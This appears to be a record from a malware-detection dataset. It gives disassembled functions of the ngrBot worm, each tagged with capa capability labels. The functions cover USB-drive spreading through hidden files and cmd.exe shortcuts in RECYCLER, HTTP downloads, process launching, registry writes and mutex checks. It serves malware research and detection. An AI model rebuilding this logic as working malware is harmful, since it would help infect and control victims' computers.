joyce8/EMBER2024-capa huggingface dataset:
Function at 0x3b1a310
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1404
call fcn.03b20f10
push ebx
push esi
push edi
push 0x3ff
lea eax, [ebp - 0x403]
push 0
push eax
mov byte [ebp - 0x404], 0
call sub.MSVCRT.dll_memset
push 0x7ff
lea ecx, [ebp - 0x1003]
push 0
push ecx
mov byte [ebp - 0x1004], 0
call sub.MSVCRT.dll_memset
push 0x3ff
lea edx, [ebp - 0x803]
push 0
push edx
mov byte [ebp - 0x804], 0
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp + 8]
lea eax, [ebp + 0xc]
push eax
push ecx
lea edx, [ebp - 0x1404]
push 0x3fe
push edx
call sub.MSVCRT.dll__vsnprintf
lea eax, [ebp - 0x1404]
push eax
lea ecx, [ebp - 0x404]
push 0x3b213ec
push ecx
call sub.MSVCRT.dll_sprintf
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x40
push str.9fddc8d5
call edi
push eax
push str.9fddc8d5
call fcn.03b11e60
push eax
push str..pipe_08x_ipc
lea edx, [ebp - 0x804]
push 0x3ff
push edx
call sub.MSVCRT.dll__snprintf
add esp, 0x18
lea eax, [ebp - 0x404]
push eax
call edi
mov esi, eax
push esi
lea ecx, [ebp - 0x1004]
push 0x3b22a30
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea edx, [ebp - 0x1004]
push edx
call edi
push str.9fddc8d5
mov ebx, eax
call edi
push eax
push esi
lea eax, [ebp - 0x404]
push str.9fddc8d5
push eax
call fcn.03b11440
add esp, 0x10
push esi
lea ecx, [ebp - 0x404]
push ecx
lea edx, [ebp + ebx - 0x1004]
push edx
call fcn.03b12440
push 0x3b5add4
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0
push 3
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x3b1a473
push 0x3b5add4
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea ecx, [ebp - 4]
push ecx
add ebx, esi
push ebx
lea edx, [ebp - 0x1004]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3b5add4
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x3b1a5d0
Capabilities:
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
xor ebx, ebx
mov dword [ebp - 4], esi
cmp dword [0x3b259b4], esi
jbe 0x3b1a63b
push edi
mov edi, 0x3b259b4
jmp 0x3b1a5f0
mov eax, dword [edi]
mov ecx, dword [esi + 0x3b259b0]
push 0x20
push eax
push 0x3b2589c
push ecx
call fcn.03b11440
mov edx, dword [edi]
mov eax, dword [esi + 0x3b259b0]
push edx
push eax
call fcn.03b11e60
add esp, 0x18
cmp eax, dword [esi + 0x3b259b8]
jne 0x3b1a64a
add dword [ebp - 4], eax
inc ebx
lea esi, [ebx + ebx*2]
add esi, esi
add esi, esi
cmp dword [esi + 0x3b259b4], 0
lea edi, [esi + 0x3b259b4]
ja 0x3b1a5f0
pop edi
mov edx, dword [ebp - 4]
lea ecx, [ebx + ebx*2]
cmp edx, dword [ecx*4 + 0x3b259b8]
je 0x3b1a686
push 0
push 0
push 0
push 0x3b1e750
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x30
push str.ngrBot_Error
push str.This_binary_is_invalid._r_n_r_nMain_reasons:_r_n__you_stupid_cracker_r_n__you_stupid_cracker..._r_n__you_stupid_cracker___r_n
push 0
mov esi, eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x3b1a690
Capabilities:
Create process on windows
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x874
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x25a]
push ecx
mov word [ebp - 0x25c], ax
call sub.MSVCRT.dll_memset
xor edx, edx
push 0x616
push edx
lea eax, [ebp - 0x872]
push eax
mov word [ebp - 0x874], dx
call sub.MSVCRT.dll_memset
add esp, 0x18
push 0
push 0x26
lea ecx, [ebp - 0x25c]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0x3b1a6ed
mov esp, ebp
pop ebp
ret
push str.Internet_Exploreriexplore.exe
lea edx, [ebp - 0x25c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x25c]
push ecx
push str.__s___S
lea edx, [ebp - 0x874]
push 0x617
push edx
call sub.MSVCRT.dll__snwprintf
push 0x10
lea eax, [ebp - 0x10]
push 0
push eax
call fcn.03b135f0
push 0x44
lea ecx, [ebp - 0x54]
push 0
push ecx
call fcn.03b135f0
add esp, 0x2c
cmp dword [ebp + 0xc], 0
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
je 0x3b1a75c
mov edx, 5
mov word [ebp - 0x24], dx
jmp 0x3b1a762
xor eax, eax
mov word [ebp - 0x24], ax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x54]
push edx
push 0
push 0
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x874]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esp, ebp
pop ebp
ret
Function at 0x3b1a990
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x10
xor esi, esi
lea eax, [ebp - 0x10]
push esi
push eax
call fcn.03b135f0
push 0x44
lea ecx, [ebp - 0x54]
push esi
push ecx
call fcn.03b135f0
xor edx, edx
add esp, 0x18
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], dx
call fcn.03b168b0
test eax, eax
jne 0x3b1a9d6
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x54]
push edx
push 0
push 0
push 0x10
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x3b1a9fa
mov esi, dword [ebp - 8]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x3b1aa10
Capabilities:
Check http status code
Create http request
Query remote server for available data
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Mozilla_4.0
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [0x3b5ba00]
test esi, esi
jne 0x3b1aa6e
push esi
push esi
push esi
push esi
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [0x3b5ba00], esi
mov edi, dword [ebp + 0x14]
xor eax, eax
test edi, edi
je 0x3b1aa7e
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0
push 0x4000000
push eax
mov eax, dword [ebp + 8]
push edi
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
xor edi, edi
cmp ebx, edi
jne 0x3b1aaa3
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push edi
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 8]
push edx
push 0x20000013
push esi
mov dword [ebp - 8], 0xc8
mov dword [ebp - 0xc], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x3b1aadb
mov eax, dword [ebp - 8]
cmp eax, 0xc8
jb 0x3b1aa9a
cmp eax, 0x12b
ja 0x3b1aa9a
mov esi, dword [ebp + 0x10]
push edi
push edi
push esi
push ebx
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
je 0x3b1aa9a
mov dword [esi], edi
mov dword [0x3b5b9fc], edi
mov dword [0x3b5b9f8], edi
mov dword [0x3b5b9f4], edi
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
mov dword [ebp - 4], 1
lea ecx, [ecx]
push 0x1000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [0x3b5b9fc], eax
add esp, 4
mov dword [eax + 0xffc], 0
cmp dword [0x3b5b9f4], 0
jne 0x3b1ab41
mov eax, dword [0x3b5b9fc]
mov dword [0x3b5b9f4], eax
jmp 0x3b1ab57
mov eax, dword [0x3b5b9f8]
mov ecx, dword [0x3b5b9fc]
mov dword [eax + 0xffc], ecx
mov eax, dword [0x3b5b9fc]
lea edx, [ebp - 4]
push edx
push 0xff8
push eax
push ebx
mov dword [0x3b5b9f8], eax
call edi
mov ecx, dword [0x3b5b9fc]
mov eax, dword [ebp - 4]
mov dword [ecx + 0xff8], eax
mov eax, dword [ebp - 4]
add dword [esi], eax
mov ecx, dword [esi]
test eax, eax
jne 0x3b1ab10
inc ecx
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, dword [ebp + 0xc]
add esp, 4
mov dword [edi], eax
mov eax, dword [0x3b5b9f4]
xor esi, esi
xor ecx, ecx
mov dword [0x3b5b9fc], eax
test ecx, ecx
je 0x3b1abb2
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [0x3b5b9fc]
add esp, 4
test eax, eax
je 0x3b1abe0
mov edx, dword [eax + 0xff8]
push edx
push eax
mov eax, dword [edi]
add eax, esi
push eax
call fcn.03b13640
mov eax, dword [0x3b5b9fc]
add esp, 0xc
add esi, dword [eax + 0xff8]
mov ecx, eax
mov eax, dword [eax + 0xffc]
jmp 0x3b1ab9b
mov ecx, dword [edi]
push ebx
mov byte [esi + ecx], 0
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x3b1b300
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push esi
push edi
push 0x208
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x206
xor esi, esi
mov edi, eax
lea ecx, [ebp - 0x20a]
xor eax, eax
push esi
push ecx
mov word [ebp - 0x20c], ax
call sub.MSVCRT.dll_memset
push 0x206
lea eax, [ebp - 0x412]
xor edx, edx
push esi
push eax
mov word [ebp - 0x414], dx
call sub.MSVCRT.dll_memset
add esp, 0x18
cmp edi, esi
jne 0x3b1b37b
cmp dword [ebp + 8], esi
je 0x3b1b370
pop edi
mov eax, str.lol.exe
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov eax, 0x3b22bac
pop esi
mov esp, ebp
pop ebp
ret
push 0x208
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x3b1b365
push 4
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push esi
push esi
push esi
push esi
lea ecx, [ebp - 4]
push ecx
push esi
push esi
lea edx, [ebp - 0x414]
push edx
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
jne 0x3b1b3cc
mov dword [ebp - 4], 0x1337b00b
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push str.9fddc8d5
call ebx
test eax, eax
jbe 0x3b1b3f6
mov edi, edi
movsx eax, byte [esi + str.9fddc8d5]
add dword [ebp - 4], eax
push str.9fddc8d5
inc esi
call ebx
cmp esi, eax
jb 0x3b1b3e0
movzx eax, byte [ebp - 4]
cdq
mov ecx, 0x1a
idiv ecx
pop ebx
add edx, 0x41
mov word [edi], dx
movzx eax, byte [ebp - 3]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 2], dx
movzx eax, byte [ebp - 2]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 4], dx
movzx eax, byte [ebp - 1]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 6], dx
movzx eax, byte [ebp - 2]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 8], dx
movzx edx, byte [ebp - 4]
movzx eax, byte [ebp - 1]
add eax, edx
cdq
idiv ecx
add edx, 0x61
cmp dword [ebp + 8], 0
mov word [edi + 0xa], dx
je 0x3b1b467
push str..exe
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x3b1d6b0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x3b5a434]
sub esp, 8
test eax, eax
je 0x3b1d6e0
lea ecx, [ebp - 8]
push ecx
mov ecx, dword [ebp + 0xc]
lea edx, [ebp - 4]
push edx
mov edx, dword [ebp + 8]
push 0
push 0xf003f
push 0
push 0
push 0
push ecx
push edx
call eax
jmp 0x3b1d703
mov edx, dword [ebp + 0xc]
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x3b1d759
mov edx, dword [ebp + 0x14]
mov eax, edx
push esi
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x3b1d710
sub eax, esi
sar eax, 1
lea ecx, [eax + eax + 2]
mov eax, dword [ebp - 4]
push ecx
push edx
mov edx, dword [ebp + 0x10]
push 1
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop esi
test eax, eax
jne 0x3b1d74f
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x3b1ee40
Capabilities:
Create shortcut via ishelllink
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x680
lea eax, [ebp - 4]
push eax
push 0x3b23614
push 1
push 0
push 0x3b23634
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x3b1efdb
push ebx
push esi
push edi
push 0x207
lea ecx, [ebp - 0x317]
push 0
push ecx
mov byte [ebp - 0x318], 0
call sub.MSVCRT.dll_memset
mov edx, dword [ebp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
push edx
lea eax, [ebp - 0x318]
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x3b22c78
lea ecx, [ebp - 0x318]
push ecx
call edi
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp - 0x318]
push eax
call edi
push 0x15c
lea ecx, [ebp - 0x474]
push 0
push ecx
mov dword [ebp - 0x478], 0
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 0x14]
add esp, 0xc
push 0x1000
push 0x160
lea edx, [ebp - 0x478]
push edx
push 0
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov eax, dword [ebp - 4]
mov edx, dword [ebp + 8]
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x50]
call eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x318]
push edx
push eax
mov eax, dword [ecx + 0x2c]
call eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x44]
push 4
push str.shell32.dll
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push 0x3b23624
push eax
mov eax, dword [ecx]
call eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x3c]
push 7
push eax
call edx
mov esi, eax
test esi, esi
jl 0x3b1efcb
push 0x107
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp + 0x14]
add esp, 0xc
push ecx
lea edx, [ebp - 0x110]
push edx
call ebx
push str..lnk
lea eax, [ebp - 0x110]
push eax
call edi
push 0x104
lea ecx, [ebp - 0x680]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x110]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push 1
lea edx, [ebp - 0x680]
push edx
push eax
mov eax, dword [ecx + 0x18]
call eax
mov esi, eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x3b1efe0
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.03b20f10
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0x7ff
mov ebx, eax
lea eax, [ebp - 0xfff]
push 0
push eax
mov byte [ebp - 0x1000], 0
call sub.MSVCRT.dll_memset
push 0x7ff
lea ecx, [ebp - 0x7ff]
push 0
push ecx
mov byte [ebp - 0x800], 0
call sub.MSVCRT.dll_memset
add esp, 0x18
push str..lnk
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
push eax
call edi
test eax, eax
je 0x3b1f11b
push 0x3b213d8
push esi
call edi
test eax, eax
je 0x3b1f11b
push 0x3b22fcc
push esi
call edi
test eax, eax
je 0x3b1f11b
cmp dword [ebp + 0x10], 0
je 0x3b1f07f
test bl, 0x10
je 0x3b1f11b
cmp dword [ebp + 0x14], 0
je 0x3b1f10f
push str.RECYCLER
push esi
call edi
test eax, eax
je 0x3b1f11b
push 0x5c
push esi
call sub.MSVCRT.dll_strrchr
mov ebx, dword [ebp + 0xc]
push 0x5c
push ebx
mov edi, eax
call sub.MSVCRT.dll_strrchr
add esp, 0x10
test eax, eax
je 0x3b1f11b
test edi, edi
je 0x3b1f11b
inc eax
push eax
push str._c__start___cd__RECYCLER_s
lea edx, [ebp - 0x1000]
push 0x7ff
push edx
call sub.MSVCRT.dll__snprintf
inc edi
push edi
push str.__windir__explorer.exe___cd___s
lea eax, [ebp - 0x800]
push 0x7ff
push eax
call sub.MSVCRT.dll__snprintf
push ebx
push esi
lea ecx, [ebp - 0x800]
push ecx
lea edx, [ebp - 0x1000]
push edx
push str._windir__system32cmd.exe
call fcn.03b1ee40
add esp, 0x34
push 6
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x3b1f130
Capabilities:
Enumerate files on windows
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x350
push ebx
push esi
xor ebx, ebx
push 0x105
lea eax, [ebp - 0x34f]
push ebx
push eax
mov byte [ebp - 0x350], bl
call sub.MSVCRT.dll_memset
push 0x103
lea ecx, [ebp - 0x107]
push ebx
push ecx
mov byte [ebp - 0x108], bl
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0x18
push esi
lea edx, [ebp - 0x350]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x350]
push 0x3b22fe0
push eax
call fcn.03b1edf0
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea ecx, [ebp - 0x248]
push ecx
lea edx, [ebp - 0x350]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x3b1f1c0
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x21c]
push eax
push esi
push 0x3b22fd8
lea ecx, [ebp - 0x108]
push 0x103
push ecx
call sub.MSVCRT.dll__snprintf
mov edi, dword [ebp + 0x14]
mov ebx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
push edi
push ebx
push edx
lea eax, [ebp - 0x108]
push eax
call fcn.03b1efe0
mov edx, dword [ebp - 4]
add esp, 0x24
lea ecx, [ebp - 0x248]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x3b1f29a
lea ebx, [ebx]
push 8
lea eax, [ebp - 0x21c]
push str.RECYCLER
push eax
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
je 0x3b1f285
lea ecx, [ebp - 0x21c]
push str..inf
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x3b1f285
lea edx, [ebp - 0x21c]
push edx
push esi
push 0x3b22fd8
lea eax, [ebp - 0x108]
push 0x103
push eax
call sub.MSVCRT.dll__snprintf
mov ecx, dword [ebp + 0xc]
push edi
push ebx
push ecx
lea edx, [ebp - 0x108]
push edx
call fcn.03b1efe0
add esp, 0x24
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x248]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x3b1f220
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x3b1f2b0
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push edi
xor ebx, ebx
push 0x104
mov dword [ebp - 4], ebx
call fcn.03b13810
mov edi, eax
add esp, 4
cmp edi, ebx
jne 0x3b1f2db
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
push esi
push ecx
push str.._c:
push edi
call sub.MSVCRT.dll_sprintf
add esp, 0xc
push ebx
push ebx
push 3
push ebx
push 3
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x3b1f375
push 0x3ff
lea edx, [ebp - 0x413]
push ebx
push edx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0x414], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
push ebx
lea eax, [ebp - 8]
push eax
push 0x400
lea ecx, [ebp - 0x414]
push ecx
push 0xc
lea edx, [ebp - 0x14]
push edx
push 0x2d1400
push esi
mov dword [ebp - 0x410], 0x400
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x3b1f375
cmp dword [ebp - 0x3f8], 7
jne 0x3b1f375
mov dword [ebp - 4], 1
push edi
call fcn.03b137f0
mov eax, dword [ebp - 4]
add esp, 4
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x3b1f9e0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push ebx
push 0x1ff
lea eax, [ebp - 0x203]
push 0
push eax
mov byte [ebp - 0x204], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x204]
xor eax, eax
push ecx
push 0x1ff
mov byte [ebp - 4], 0
mov word [ebp - 3], ax
mov byte [ebp - 1], al
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
test eax, eax
je 0x3b1fa8d
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea esi, [ebp - 0x204]
lea ebx, [ebx]
lea edx, [ebp - 4]
push 4
push edx
call fcn.03b124e0
mov al, byte [esi]
add esp, 8
push 0x3b23040
lea ecx, [ebp - 4]
push ecx
mov byte [ebp - 4], al
call edi
lea edx, [ebp - 4]
push edx
call fcn.03b1f2b0
add esp, 4
test eax, eax
je 0x3b1fa80
lea eax, [ebp - 4]
push eax
call fcn.03b1f430
add esp, 4
test eax, eax
je 0x3b1fa80
inc ebx
nop
mov cl, byte [esi]
inc esi
test cl, cl
jne 0x3b1fa80
cmp byte [esi], cl
jne 0x3b1fa40
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x3b20910
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push esi
push edi
push 0x103
lea eax, [ebp - 0x20f]
push 0
push eax
mov byte [ebp - 0x210], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.03b1a5d0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x103
lea ecx, [ebp - 0x10b]
push 0
push ecx
mov dword [0x3b5a8ac], eax
mov byte [ebp - 0x10c], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
xor eax, eax
push 0x104
lea edx, [ebp - 0x10c]
push edx
push eax
mov byte [ebp - 8], 0
mov dword [ebp - 7], eax
mov word [ebp - 3], ax
mov byte [ebp - 1], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x3b209cf
push 3
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.03b12440
lea edx, [ebp - 8]
push edx
call fcn.03b1f2b0
add esp, 4
test eax, eax
je 0x3b209cf
push 5
push 0
push 0
lea eax, [ebp - 8]
push eax
push str.OPEN
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [0x3b5b6a0], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call main
add esp, 4
call fcn.03b13870
cdq
mov ecx, 0xa
idiv ecx
mov esi, edx
inc esi
call fcn.03b13870
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0x1f4
imul edx, esi
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.aciCty21CAjoSS8o
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
je 0x3b20a38
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 2
je 0x3b20a38
call esi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.9fddc8d5
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push str.9fddc8d5
call fcn.03b11e60
push eax
push str._08x
lea edx, [ebp - 0x210]
push 0x103
push edx
call sub.MSVCRT.dll__snprintf
lea eax, [ebp - 0x210]
push eax
call fcn.03b14d00
add esp, 0x1c
test eax, eax
jne 0x3b20a7f
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.running
push 0x3b22e64
call fcn.03b173e0
add esp, 8
cmp eax, 1
jne 0x3b20a9e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.running
push 0x3b22e64
call fcn.03b17330
push 0
call fcn.03b1b300
add esp, 0xc
mov esi, eax
call fcn.03b16850
push 0x208
push 0x3b5b150
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push edi
push str._s_s.exe
push 0x3b5af40
call dword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0x10
push 0
push 0
push 0x104
push 0x3b5adf0
push 0xffffffffffffffff
push 0x3b5af40
push 0
push 0
call edi
push 0x208
push esi
push 0x3b5b358
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0
push 0
push 0x104
push 0x3b5b580
push 0xffffffffffffffff
push esi
push 0
push 0
call edi
xor eax, eax
mov ecx, 0x14c
cmp word [0x7ffe002c], cx
setne al
mov dword [0x3b5b6a4], eax
test eax, eax
je 0x3b20b5f
call fcn.03b1a990
push 0x9c4
mov dword [0x3b5b6a8], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x3b26ed0
call fcn.03b15ce0
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]